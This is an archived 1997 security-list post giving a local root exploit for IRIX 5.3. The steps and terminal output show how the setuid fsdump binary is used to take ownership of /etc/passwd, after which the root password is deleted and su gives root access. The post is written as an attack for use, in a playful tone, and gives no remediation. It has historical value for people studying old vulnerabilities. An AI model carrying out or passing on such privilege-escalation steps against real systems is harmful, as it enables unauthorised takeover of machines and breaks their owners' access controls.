TUCoPS :: SGI :: irix_fsd.txt

Another Irix 5.3 root exploit

Ok. Well, yet another IRIX 5.3 root exploit.
Of course, the major problem here is that IRIX allow users to
give away ownership of files. Without that, this could only
be used for changing the permissions on file so that you could read
and modify.

The system (an Indy):
IRIX irix 5.3 11091812 IP22 mips

irix% ls -la /var/rfindd/fsdump
---s--x--x    1 root     sys        62032 Jul 25  1995 /var/rfindd/fsdump

What tipped me off that it was exploitable was the fact that it
was a protected suid binary (---s--x--x). I thought: if someone at
SGI is being careful to not let non-root users read the binary,
then it *must* be packed with holes... :-)

So, I'm just a normal user today...

irix% id
uid=1799(csh) gid=500(users)

irix% /var/rfindd/fsdump -L/etc/passwd -F/tmp/dump /
(count to three, and hit ctrl-c)

irix% ls -la /etc/passwd
-rw-r--r--    1 csh      users        956 Feb 25 06:23 /etc/passwd

And now I've got root access...

irix% tail -8 /etc/passwd
nobody:*:60001:60001:SVR4 nobody uid:/dev/null:/dev/null
noaccess:*:60002:60002:uid no access:/dev/null:/dev/null
nobody:*:-2:-2:original nobody uid:/dev/null:/dev/null

Tue Feb 25 06:23:48 PST 1997
Number of inodes total 208740; allocated 31259
Collecting garbage.

All you have to do is edit off the garbage from the passwd file,
delete the encrypted root password and reset the perms on the passwd file.

irix% vi /etc/passwd            # remove the encrypted root password
irix% chgrp sys /etc/passwd
irix% chown root /etc/passwd
irix% su -

That's it.
(Heck, you don't even have to remove the garbage from the passwd file.)

This can be used to access pretty much any file on the system
which is currently group owned...

fun, fun, fun until SGI takes the bugs away... ;-) (right)

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